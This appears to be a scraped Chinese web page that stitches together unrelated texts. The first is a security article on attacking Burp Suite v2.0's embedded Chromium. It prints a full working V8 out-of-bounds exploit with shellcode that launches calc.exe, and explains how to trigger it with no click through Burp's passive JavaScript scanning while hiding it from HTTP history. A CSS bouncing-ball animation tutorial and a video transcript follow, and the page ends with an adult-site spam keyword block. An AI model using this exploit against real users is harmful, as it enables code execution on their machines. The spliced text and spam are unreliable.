整合營銷服務商

          電腦端+手機端+微信端=數據同步管理

          免費咨詢熱線:

          反制爬蟲之Burp Suite RCE

          反制爬蟲之Burp Suite RCE

          、前言

          Headless Chrome是谷歌Chrome瀏覽器的無界面模式,通過命令行方式打開網頁并渲染,常用于自動化測試、網站爬蟲、網站截圖、XSS檢測等場景。

          近幾年許多桌面客戶端應用中,基本都內嵌了Chromium用于業務場景使用,但由于開發不當、CEF版本不升級維護等諸多問題,攻擊者可以利用這些缺陷攻擊客戶端應用以達到命令執行效果。

          本文以知名滲透軟件Burp Suite舉例,從軟件分析、漏洞挖掘、攻擊面擴展等方面進行深入探討。

          二、軟件分析

          以Burp Suite Pro v2.0beta版本為例,要做漏洞挖掘首先要了解軟件架構及功能點。

          burpsuite_pro_v2.0.11beta.jar進行解包,可以發現Burp Suite打包了Windows、Linux、Mac的Chromium,可以兼容在不同系統下運行內置Chromium瀏覽器。

          在Windows系統中,Burp Suite v2.0運行時會將chromium-win64.7z解壓至C:\Users\user\AppData\Local\JxBrowser\browsercore-64.0.3282.24.unknown\目錄

          從目錄名及數字簽名得知Burp Suite v2.0是直接引用JxBrowser瀏覽器控件,其打包的Chromium版本為64.0.3282.24。

          那如何在Burp Suite中使用內置瀏覽器呢?在常見的使用場景中,Proxy -> HTTP history -> Response -> RenderRepeater -> Render都能夠調用內置Chromium瀏覽器渲染網頁。

          當Burp Suite喚起內置瀏覽器browsercore32.exe打開網頁時,browsercore32.exe會創建Renderer進程及GPU加速進程。

          browsercore32.exe進程運行參數如下:

          // Chromium主進程
          C:\Users\user\AppData\Local\JxBrowser\browsercore-64.0.3282.24.unknown\browsercore32.exe --port=53070 --pid=13208 --dpi-awareness=system-aware --crash-dump-dir=C:\Users\user\AppData\Local\JxBrowser --lang=zh-CN --no-sandbox --disable-xss-auditor --headless --disable-gpu --log-level=2 --proxy-server="socks://127.0.0.1:0" --disable-bundled-ppapi-flash --disable-plugins-discovery --disable-default-apps --disable-extensions --disable-prerender-local-predictor --disable-save-password-bubble --disable-sync --disk-cache-size=0 --incognito --media-cache-size=0 --no-events --disable-settings-window
          
          // Renderer進程
          C:\Users\user\AppData\Local\JxBrowser\browsercore-64.0.3282.24.unknown\browsercore32.exe --type=renderer --log-level=2 --no-sandbox --disable-features=LoadingWithMojo,browser-side-navigation --disable-databases --disable-gpu-compositing --service-pipe-token=C06434E20AA8C9230D15FCDFE9C96993 --lang=zh-CN --crash-dump-dir="C:\Users\user\AppData\Local\JxBrowser" --enable-pinch --device-scale-factor=1 --num-raster-threads=1 --enable-gpu-async-worker-context --disable-accelerated-video-decode --service-request-channel-token=C06434E20AA8C9230D15FCDFE9C96993 --renderer-client-id=2 --mojo-platform-channel-handle=2564 /prefetch:1
          

          從進程運行參數分析得知,Chromium進程以headless模式運行、關閉了沙箱功能、隨機監聽一個端口(用途未知)。

          三、漏洞利用

          Chromium組件的歷史版本幾乎都存在著1Day漏洞風險,特別是在客戶端軟件一般不會維護升級Chromium版本,且關閉沙箱功能,在沒有沙箱防護的情況下漏洞可以無限制利用。

          Burp Suite v2.0內置的Chromium版本為64.0.3282.24,該低版本Chromium受到多個歷史漏洞影響,可以通過v8引擎漏洞執行shellcode從而獲得PC權限。

          以Render功能演示,利用v8漏洞觸發shellcode打開計算器(此處感謝Sakura提供漏洞利用代碼)

          這個漏洞沒有公開的CVE ID,但其詳情可以在這里找到。
          該漏洞的Root Cause是在進行
          Math.expm1的范圍分析時,推斷出的類型是Union(PlainNumber, NaN),忽略了Math.expm1(-0)會返回-0的情況,從而導致范圍分析錯誤,導致JIT優化時,錯誤的將邊界檢查CheckBounds移除,造成了OOB漏洞。

          <html>
          <head></head>
          </body>
          <script>
          function pwn() {
              var f64Arr=new Float64Array(1);
              var u32Arr=new Uint32Array(f64Arr.buffer);
          
              function f2u(f) {
                  f64Arr[0]=f;
                  return u32Arr;
              }
          
              function u2f(h, l)
              {
                  u32Arr[0]=l;
                  u32Arr[1]=h;
                  return f64Arr[0];
              }
          
              function hex(i) {
                  return "0x" + i.toString(16).padStart(8, "0");
              }
          
              function log(str) {
                  console.log(str);
                  document.body.innerText +=str + '\n';
              }
          
              var big_arr=[1.1, 1.2];
              var ab=new ArrayBuffer(0x233);
              var data_view=new DataView(ab);
          
              function opt_me(x) {
                  var oob_arr=[1.1, 1.2, 1.3, 1.4, 1.5, 1.6];
                  big_arr=[1.1, 1.2];
                  ab=new ArrayBuffer(0x233);
                  data_view=new DataView(ab);
          
                  let obj={
                      a: -0
                  };
                  let idx=Object.is(Math.expm1(x), obj.a) * 10;
          
                  var tmp=f2u(oob_arr[idx])[0];
                  oob_arr[idx]=u2f(0x234, tmp);
              }
              for (let a=0; a < 0x1000; a++)
                  opt_me(0);
          
              opt_me(-0);
              var optObj={
                  flag: 0x266,
                  funcAddr: opt_me
              };
          
              log("[+] big_arr.length: " + big_arr.length);
          
              if (big_arr.length !=282) {
                  log("[-] Can not modify big_arr length !");
                  return;
              }
              var backing_store_idx=-1;
              var backing_store_in_hign_mem=false;
              var OptObj_idx=-1;
              var OptObj_idx_in_hign_mem=false;
          
              for (let a=0; a < 0x100; a++) {
                  if (backing_store_idx==-1) {
                      if (f2u(big_arr[a])[0]==0x466) {
                          backing_store_in_hign_mem=true;
                          backing_store_idx=a;
                      } else if (f2u(big_arr[a])[1]==0x466) {
                          backing_store_in_hign_mem=false;
                          backing_store_idx=a + 1;
                      }
                  }
          
                  else if (OptObj_idx==-1) {
                      if (f2u(big_arr[a])[0]==0x4cc) {
                          OptObj_idx_in_hign_mem=true;
                          OptObj_idx=a;
                      } else if (f2u(big_arr[a])[1]==0x4cc) {
                          OptObj_idx_in_hign_mem=false;
                          OptObj_idx=a + 1;
                      }
                  }
          
              }
          
              if (backing_store_idx==-1) {
                  log("[-] Can not find backing store !");
                  return;
              } else
                  log("[+] backing store idx: " + backing_store_idx +
                      ", in " + (backing_store_in_hign_mem ? "high" : "low") + " place.");
          
              if (OptObj_idx==-1) {
                  log("[-] Can not find Opt Obj !");
                  return;
              } else
                  log("[+] OptObj idx: " + OptObj_idx +
                      ", in " + (OptObj_idx_in_hign_mem ? "high" : "low") + " place.");
          
              var backing_store=(backing_store_in_hign_mem ?
                  f2u(big_arr[backing_store_idx])[1] :
                  f2u(big_arr[backing_store_idx])[0]);
              log("[+] Origin backing store: " + hex(backing_store));
          
              var dataNearBS=(!backing_store_in_hign_mem ?
                  f2u(big_arr[backing_store_idx])[1] :
                  f2u(big_arr[backing_store_idx])[0]);
          
              function read(addr) {
                  if (backing_store_in_hign_mem)
                      big_arr[backing_store_idx]=u2f(addr, dataNearBS);
                  else
                      big_arr[backing_store_idx]=u2f(dataNearBS, addr);
                  return data_view.getInt32(0, true);
              }
          
              function write(addr, msg) {
                  if (backing_store_in_hign_mem)
                      big_arr[backing_store_idx]=u2f(addr, dataNearBS);
                  else
                      big_arr[backing_store_idx]=u2f(dataNearBS, addr);
                  data_view.setInt32(0, msg, true);
              }
          
              var OptJSFuncAddr=(OptObj_idx_in_hign_mem ?
                  f2u(big_arr[OptObj_idx])[1] :
                  f2u(big_arr[OptObj_idx])[0]) - 1;
              log("[+] OptJSFuncAddr: " + hex(OptJSFuncAddr));
          
              var OptJSFuncCodeAddr=read(OptJSFuncAddr + 0x18) - 1;
              log("[+] OptJSFuncCodeAddr: " + hex(OptJSFuncCodeAddr));
          
              var RWX_Mem_Addr=OptJSFuncCodeAddr + 0x40;
              log("[+] RWX Mem Addr: " + hex(RWX_Mem_Addr));
          
              var shellcode=new Uint8Array(
                     [0x89, 0xe5, 0x83, 0xec, 0x20, 0x31, 0xdb, 0x64, 0x8b, 0x5b, 0x30, 0x8b, 0x5b, 0x0c, 0x8b, 0x5b,
                      0x1c, 0x8b, 0x1b, 0x8b, 0x1b, 0x8b, 0x43, 0x08, 0x89, 0x45, 0xfc, 0x8b, 0x58, 0x3c, 0x01, 0xc3,
                      0x8b, 0x5b, 0x78, 0x01, 0xc3, 0x8b, 0x7b, 0x20, 0x01, 0xc7, 0x89, 0x7d, 0xf8, 0x8b, 0x4b, 0x24,
                      0x01, 0xc1, 0x89, 0x4d, 0xf4, 0x8b, 0x53, 0x1c, 0x01, 0xc2, 0x89, 0x55, 0xf0, 0x8b, 0x53, 0x14,
                      0x89, 0x55, 0xec, 0xeb, 0x32, 0x31, 0xc0, 0x8b, 0x55, 0xec, 0x8b, 0x7d, 0xf8, 0x8b, 0x75, 0x18,
                      0x31, 0xc9, 0xfc, 0x8b, 0x3c, 0x87, 0x03, 0x7d, 0xfc, 0x66, 0x83, 0xc1, 0x08, 0xf3, 0xa6, 0x74,
                      0x05, 0x40, 0x39, 0xd0, 0x72, 0xe4, 0x8b, 0x4d, 0xf4, 0x8b, 0x55, 0xf0, 0x66, 0x8b, 0x04, 0x41,
                      0x8b, 0x04, 0x82, 0x03, 0x45, 0xfc, 0xc3, 0xba, 0x78, 0x78, 0x65, 0x63, 0xc1, 0xea, 0x08, 0x52,
                      0x68, 0x57, 0x69, 0x6e, 0x45, 0x89, 0x65, 0x18, 0xe8, 0xb8, 0xff, 0xff, 0xff, 0x31, 0xc9, 0x51,
                      0x68, 0x2e, 0x65, 0x78, 0x65, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x89, 0xe3, 0x41, 0x51, 0x53, 0xff,
                      0xd0, 0x31, 0xc9, 0xb9, 0x01, 0x65, 0x73, 0x73, 0xc1, 0xe9, 0x08, 0x51, 0x68, 0x50, 0x72, 0x6f,
                      0x63, 0x68, 0x45, 0x78, 0x69, 0x74, 0x89, 0x65, 0x18, 0xe8, 0x87, 0xff, 0xff, 0xff, 0x31, 0xd2,
                      0x52, 0xff, 0xd0, 0x90, 0x90, 0xfd, 0xff]
              );
          
              log("[+] writing shellcode ... ");
              for (let i=0; i < shellcode.length; i++)
                  write(RWX_Mem_Addr + i, shellcode[i]);
          
              log("[+] execute shellcode !");
              opt_me();
          }
          pwn();
          </script>
          </body>
          </html>
          

          用戶在通過Render功能渲染頁面時觸發v8漏洞成功執行shellcode。

          四、進階攻擊

          Render功能需要用戶交互才能觸發漏洞,相對來說比較雞肋,能不能0click觸發漏洞?答案是可以的。

          Burp Suite v2.0的Live audit from Proxy被動掃描功能在默認情況下開啟JavaScript分析引擎(JavaScript analysis),用于掃描JavaScript漏洞。

          其中JavaScript分析配置中,默認開啟了動態分析功能(dynamic analysis techniques)、額外請求功能(Make requests for missing Javascript dependencies)

          JavaScript動態分析功能會調用內置chromium瀏覽器對頁面中的JavaScript進行DOM XSS掃描,同樣會觸發頁面中的HTML渲染、JavaScript執行,從而觸發v8漏洞執行shellcode。

          額外請求功能當頁面存在script標簽引用外部JS時,除了頁面正常渲染時請求加載script標簽,還會額外發起請求加載外部JS。即兩次請求加載外部JS文件,并且分別執行兩次JavaScript動態分析。

          額外發起的HTTP請求會存在明文特征,后端可以根據該特征在正常加載時返回正常JavaScript代碼,額外加載時返回漏洞利用代碼,從而可以實現在Burp Suite HTTP history中隱藏攻擊行為。

          GET /xxx.js HTTP/1.1
          Host: www.xxx.com
          Connection: close
          Cookie: JSESSIONID=3B6FD6BC99B03A63966FC9CF4E8483FF
          

          JavaScript動態分析 + 額外請求 + chromium漏洞組合利用效果:

          五、流量特征檢測

          默認情況下Java發起HTTPS請求時協商的算法會受到JDK及操作系統版本影響,而Burp Suite自己實現了HTTPS請求庫,其TLS握手協商的算法是固定的,結合JA3算法形成了TLS流量指紋特征可被檢測,有關于JA3檢測的知識點可學習《TLS Fingerprinting with JA3 and JA3S》。

          Cloudflare開源并在CDN產品上應用了MITMEngine組件,通過TLS指紋識別可檢測出惡意請求并攔截,其覆蓋了大多數Burp Suite版本的JA3指紋從而實現檢測攔截。這也可以解釋為什么在滲透測試時使用Burp Suite請求無法獲取到響應包。

          以Burp Suite v2.0舉例,實際測試在各個操作系統下,同樣的jar包發起的JA3指紋是一樣的。

          不同版本Burp Suite支持的TLS算法不一樣會導致JA3指紋不同,但同樣的Burp Suite版本JA3指紋肯定是一樣的。如果需要覆蓋Burp Suite流量檢測只需要將每個版本的JA3指紋識別覆蓋即可檢測Burp Suite攻擊從而實現攔截。

          本文章涉及內容僅限防御對抗、安全研究交流,請勿用于非法途徑。

          個視頻來看一個小球碰撞邊界的運動效果。可以看到有一個小球在隨機運動,然后當碰到邊界它就會反彈出去,似乎可以用來做碰撞邊界的檢測。

          想一下這個例子可不可以只用CSS來做?其實是可以的,但是這里它并不算是邊界檢測,又或者說它只能檢測到整個窗口的邊界,然后反彈。如果是有其它元素,想檢測和其它元素有沒有發生碰撞,用CSS就很難實現了。

          先來看一下這個demo,現在非常簡單,就寫了一個div,然后給它一些基本的樣式,用來模擬這個小球。

          接下來就要想一下,怎么樣可以讓這個小球動起來?無非就是給它添加一個動畫對吧?這個動畫應該控制哪些屬性發生變化,可以讓這個小球動起來呢?是不是控制這兩個屬性?

          先來控制水平方向的運動,也就是left,因為初始狀態就是讓它從0開始。CSS上面設置的也是0,所以from可以省略不寫,只寫吐就行了。結束的狀態是讓小球運動到邊界。這里可以用一個計算的函數,水平方向用整個視口的寬度,再減去小球自身的寬度,再把這個動畫給它綁定到小球上面,這樣小球它就可以動起來了。

          但是它只是往一個方向來動并沒有反彈的效果,要讓小球反彈的也很簡單,給它加一個alternate,當動畫執行到最后狀態的時候,再反過來執行就可以了。看一下,小球運動到邊界它就反彈了,但是現在只是水平方向的運動,還要加上垂直方向的運動。

          垂直方向和水平方向原理是一樣的,給它復制一下,再改一下動畫的名稱,left改成top,視口的寬度就改成視口的高度,再把這個動畫綁定上去。這里名稱再改一下,看一下效果。現在確實水平和垂直方向同時在運動了,但是它只是往對角線運動,沒有一種隨機彈跳的效果。

          怎么樣可以讓這個運動不要那么規律?不要只是往對角線來運動,看起來有一些隨機性。這里也很簡單,只要讓這兩個動畫完成的時間稍微錯開一點就可以了。

          →比方水平方向的給它3.6秒,垂直方向就2.3秒,看一下最終的效果。現在的運動就不是只往對角線來運動了,看起來有一定的隨機性,然后運動到邊界就可以回彈過來。

          這個視頻就到這里,感謝大家的收看。

          文,我們將一起學習,使用純 CSS,實現如下所示的動畫效果:

          上面的動畫效果,非常有意思,核心有兩點:

          1. 小球隨機做 X、Y 方向的直線運動,并且能夠實現碰撞到邊界的時候,實現反彈效果
          2. 小球在碰撞邊界的瞬間,顏色發生隨機的變化

          嗯?很有意思的效果。看上去,我們好像使用 CSS 實現了碰撞檢測

          然而,實際情況真的是這樣嗎?讓我們一起一探究竟!

          實現 X 軸方向的運動

          這里其實我們并沒有實現碰撞檢測,因為小球和小球之間接觸時,并沒有發生碰撞效果。

          我們只實現了,小球與邊界之間的碰撞反應。不過這里,也并非碰撞檢測,我們只需要設置好單個方向的運動動畫,并且設置 animation-direction: alternate; 即可!

          下面,我們一起來實現單個方向上的運動動畫:

          <div></div>
          div {
              position: absolute;
              top: 0;
              left: 0;
              width: 100px;
              height: 100px;
              border-radius: 50%;
              background: #0cf;
              animation: horizontal 3s infinite linear alternate;
          }
          
          @keyframes horizontal {
              from { 
                  left: 0;
              }
              to { 
                  left: calc(100vw - 100px);
              }
          }

          簡單解讀一下:

          1. 元素設置為 position: absolute 絕對定位,利用 left 進行 X 軸方向的運動
          2. 我們讓元素 div 運動的距離為 left: calc(100vw - 100px),元素本身的高寬都是 100px,因此相當于運動到屏幕的最右側
          3. 動畫設置了 alternate 也就是 animation-direction: alternate; 的簡寫,表示動畫在每個循環中正反交替播放

          這樣,我們就巧妙的實現了,在視覺上,小球元素移動到最右側邊界時,回彈的效果:

          如法炮制 Y 軸方向的運動

          好,有了上面的鋪墊,我們只需要再如法炮制 Y 軸方向的運動即可。

          利用元素的 top 進行 Y 軸方向的運動:

          div {
              position: absolute;
              top: 0;
              left: 0;
              width: 100px;
              height: 100px;
              border-radius: 50%;
              background: #0cf;
              animation: 
                  horizontal 3s infinite linear alternate,
                  vertical 3s infinite  linear alternate;
          }
          
          @keyframes horizontal {
              from { 
                  left: 0;
              }
              to { 
                  left: calc(100vw - 100px);
              }
          }
          
          @keyframes vertical {
              from { 
                  top: 0;
              }
              to { 
                  top: calc(100vh - 100px);
              }
          }

          我們增加了一個 vertical 3s infinite linear alternate Y 軸的運動動畫,實現小球從 top: 0 到 top: calc(100vh - 100px); 的運動。

          這樣,我們就成功的得到了 X、Y 兩個方向上的小球運動,它們疊加在一起的效果如下:

          當然,此時的問題在于,缺少了隨機性,小球的始終在左上和右下角之間來回運動。

          為了解決這個問題,我們需要添加一定的隨機性,這個問題也要解決,我們只需要讓兩個方向上運動時間不一致即可。

          我們修改一下代碼,讓 X、Y 軸的運動時長不一致即可:

          div {
              position: absolute;
              // ...
              animation: 
                  horizontal 2.6s infinite linear alternate,
                  vertical 1.9s infinite  linear alternate;
          }

          如此一來,整體的效果就好上了不少,由于整個動畫是無限反復進行的,隨著時間的推進,整個動畫呈現出來的就是無序、隨機的運動

          使用 transform 替代 top、left

          當然,上面的效果基本上沒有什么太大的問題了,但是代碼層面不夠優雅,主要有兩點問題:

          1. 元素移動使用的是 top 和 left,性能相對較差,需要使用 transform 進行替代
          2. 代碼中 hardcode 了 100px,由于 DEMO 中小球的大小是 100px x 100px,并且在動畫的代碼中也使用了 100px 這個值進行了運動終態的計算,因此如果想修改小球的元素大小,需要改動地方較多

          上述兩個問題,使用 transform: translate() 都可以解決,但是我們為什么一開始不用 transform 呢?

          我們來嘗試一下,使用 transform 替代 top、left:

          div {
              position: absolute;
              top: 0;
              left: 0;
              width: 100px;
              height: 100px;
              border-radius: 50%;
              background: #0cf;
              animation: 
                  horizontal 2.6s infinite linear alternate,
                  vertical 1.9s infinite  linear alternate;
          }
          @keyframes horizontal {
              from { transform: translateX(0); }
              to { transform: translateX(calc(100vw - 100%)); }
          }
          @keyframes vertical {
              from { transform: translateY(0); }
              to { transform: translateY(calc(100vh - 100%)); }
          }

          上述代碼中,我們使用了 transform 替代 top、left 運動。并且,將動畫代碼中的 100px 替換成了 100%,這一點的好處是,在 transform: translate 中,100% 表示的是元素本身的高寬,這樣,當我們改變元素本身的大小時,就無需再改變 @keyframes 中的代碼,通用性更強。

          我們來看看修改后的效果:

          有點問題!預想中的效果并沒有出現,整個動畫只有 Y 軸方向上的動畫效果。

          這是什么原因呢?

          其本質在于,定義的 vertical 1.9s infinite linear alternate 的垂直方向的動畫效果覆蓋了在其之前定義的 transform: translateX(calc(100vw - 100%)) 動畫效果。

          說人話就是 X、Y 軸的動畫都使用了 transform 屬性,兩者之間造成了沖突

          使用 animation-composition 進行動畫合成

          在之前,這種情況基本是無解的,常見的解決方案就是:

          1. 解法一:使用 top、left 替代 transform
          2. 解法二:多一層嵌套,將一個方向的動畫拆解到元素的父元素上

          不過,到今天,這個問題有了更好的解法!也就是 CSS animation 家族中的新屬性 —— animation-composition。

          這是一個非常新的屬性,表示動畫合成屬性,從 Chrome 112 版本開始支持。

          有三種不同的取值:

          {
              animation-composition: replace;        // 表示動畫值替換
              animation-composition: add;              // 表示動畫值追加
              animation-composition: accumulate; // 表示動畫值累加
          }

          本文不會詳細介紹 animation-composition,感興趣的可以看看 MDN 的屬性介紹或者 XBOXYAN 大佬的這篇文章 -- 了解一下全新的CSS動畫合成屬性animation-composition

          這里,基于上面的代碼,我們只需要再多設置一個 animation-composition: accumulate 即可解決問題:

          div {
              animation: 
                  horizontal 2.6s infinite linear alternate,
                  vertical 1.9s infinite  linear alternate;
              animation-composition: accumulate;
          }

          此時,我們就能通過一個元素,利用 transform 得到 X、Y 兩個方向位移動畫的合成效果,也就是我們想要的效果:

          使用 steps 實現顏色切換

          解決了位移動畫的問題,我們就只剩下最后一個問題了,如何在碰撞的瞬間,實現顏色的切換?

          這里也非常好解決,由于我們是知道每一輪 X、Y 方向上的動畫時長的,那我們只需要在每次這個結點上,切換一次顏色即可。

          并且,由于顏色不是過渡變換,而是直接的跳變,所以,我們需要用到 animation 中的 animation-timing-function: steps(),也就是步驟緩動函數。

          舉個例子,假設 X 方向上,單次的動畫時長為 3s,那我們可以設置一個 steps(10) 的顏色動畫,總時長為 30s,這樣,每隔 3s 就會觸發一次 steps() 步驟動畫,顏色的變化就能夠和小球與邊界的碰撞動畫發生在同一時刻。

          那如何快速實現顏色的變化呢?利用 filter: hue-rotate() 即可快速實現顏色的變化。

          理解一下下面的代碼:

          <div class="normal"></div>
          <div class="steps"></div>
          div {
              width: 200px;
              height: 200px;
              background: #fc0;
          }
          .normal {
              animation: colorChange 10s linear infinite;
          }
          .steps {
              animation: colorChange 10s steps(5) infinite;
          }
          @keyframes colorChange {
              100% {
                  filter: hue-rotate(360deg);
              }
          }

          這里,我們用 filter: hue-rotate(360deg) 的改變,實現顏色的變化,觀察下面的動圖,理解 steps(5) 的作用。

          1. animation: colorChange 10s linear infinite 表示背景動畫的過渡變化
          2. animation: colorChange 10s steps(5) infinite,這里表示 10s 的動畫分成 5 步,每兩秒,會觸發一次動畫:

          效果如下:

          理解了這一步,我們就可以把顏色的變化,也一起疊加到上述的小球變化中:

          div {
              animation: 
                  horizontal 2.6s infinite linear alternate,
                  vertical 2s infinite  linear alternate,
                  colorX 26s infinite steps(10),
                  colorY 14s infinite steps(7);
              animation-composition: accumulate;
          }
          
          @keyframes horizontal {
              from { transform: translateX(0); }
              to { transform: translateX(calc(100vw - 100%)); }
          }
          @keyframes vertical {
              from { transform: translateY(0); }
              to { transform: translateY(calc(100vh - 100%)); }
          }
          @keyframes colorX {
              to {
                  filter: hue-rotate(360deg);
              }
          }
          @keyframes colorY {
              to {
                  filter: hue-rotate(360deg);
              }
          }

          這樣,我們就成功的得到了題圖中的效果:

          完整的代碼,你可以戳這里:Random Circle Path

          應用于圖片效果、應用與多粒子效果

          OK,上面,我們就把整個效果的完整原理剖析了一遍。

          掌握了整個原理之后,我們就可以把這個效果應用于不同場景中。

          譬如,假設我們有這么一張圖片:

          基于上面的效果,稍加改造,我們就可以得到類似的如下效果:

          <div></div>
          div {
              width: 220px;
              height: 97px;
              background: linear-gradient(#f00, #f00), url(https://s1.ax1x.com/2023/08/15/pPQm9oT.jpg);
              background-blend-mode: lighten;
              background-size: contain; 
              animation: horizontal 3.7s infinite -1.4s linear alternate,
                      vertical 4.1s infinite -2.1s linear alternate,
                      colorX 37s infinite -1.4s steps(10),
                      colorY 28.7s infinite -2.1s steps(7);
              animation-composition: accumulate;
          }
          @keyframes horizontal {
              from { transform: translateX(0); }
              to { transform: translateX(calc(100vw - 100%)); }
          }
          @keyframes vertical {
              from { transform: translateY(0); }
              to { transform: translateY(calc(100vh - 100%)); }
          }
          @keyframes colorX {
              to {
                  filter: hue-rotate(2185deg);
              }
          }
          @keyframes colorY {
              to {
                  filter: hue-rotate(1769deg);
              }
          }

          效果如下:

          上面的 DEMO 是基于元素背景色的,本 DEMO 是基于圖片的,因此這里多了一步,利用 mix-blend-mode,實現了圖片顏色的變化。

          完整的代碼,你可以戳這里:CodePen Demo -- Random DVD Path

          實現多粒子碰撞

          OK,我們再進一步,基于上面的效果,我們可以實現各種有趣的粒子效果,如果同時讓頁面存在 1000 個粒子呢?

          下面是我使用 CSS-Doodle 實現的純 CSS 的粒子效果,其核心原理與上面的保持一致,只是添加了更多的隨機性:

          Amazing!是不是非常有趣,整個效果的代碼基于 CSS-doodle 的語法,不超過 40 行。完整的代碼,你可以戳這里:CSS Doodle - CSS Particles Animation

          最后

          總結一下,本文介紹了如何巧妙的利用 CSS 中的各種高階技巧,組合實現類似于碰撞場景的動畫效果。創建出了非常有趣的 CSS 動畫,期間各種技巧的組合運用,值得好好琢磨學習。



          鏈接:https://juejin.cn/post/7269797025863499837


          主站蜘蛛池模板: 3d动漫精品成人一区二区三| 久久久一区二区三区| 中文字幕一区二区三区日韩精品| 男人免费视频一区二区在线观看| 一区二区不卡视频在线观看| 精品免费久久久久国产一区| 成人国内精品久久久久一区| 亚洲综合无码一区二区| 亚洲AV网一区二区三区| 一区二区三区免费视频播放器| 国产高清在线精品一区小说| 亚洲av日韩综合一区在线观看| 精品不卡一区二区| 亚洲AV永久无码精品一区二区国产| 一区二区三区国产| 国产精品视频一区| 中文字幕精品一区| 中文字幕av日韩精品一区二区| 波多野结衣一区二区免费视频| 亚洲国产精品一区二区成人片国内| 波多野结衣一区视频在线| 一区二区三区在线视频播放| 91精品一区二区三区久久久久| 日韩在线一区高清在线| 国产AV一区二区三区无码野战| 国产福利91精品一区二区三区 | 国产免费一区二区三区在线观看| 99久久综合狠狠综合久久一区| 欧洲精品一区二区三区| 日本不卡一区二区三区| 八戒久久精品一区二区三区| 精品无码AV一区二区三区不卡 | 国产91精品一区二区麻豆网站| 日本中文字幕在线视频一区| 亚洲国产美女福利直播秀一区二区| 一区二区免费国产在线观看| 竹菊影视欧美日韩一区二区三区四区五区 | 国产情侣一区二区三区| 日韩高清一区二区三区不卡| 亚洲国产综合精品中文第一区| 一区在线免费观看|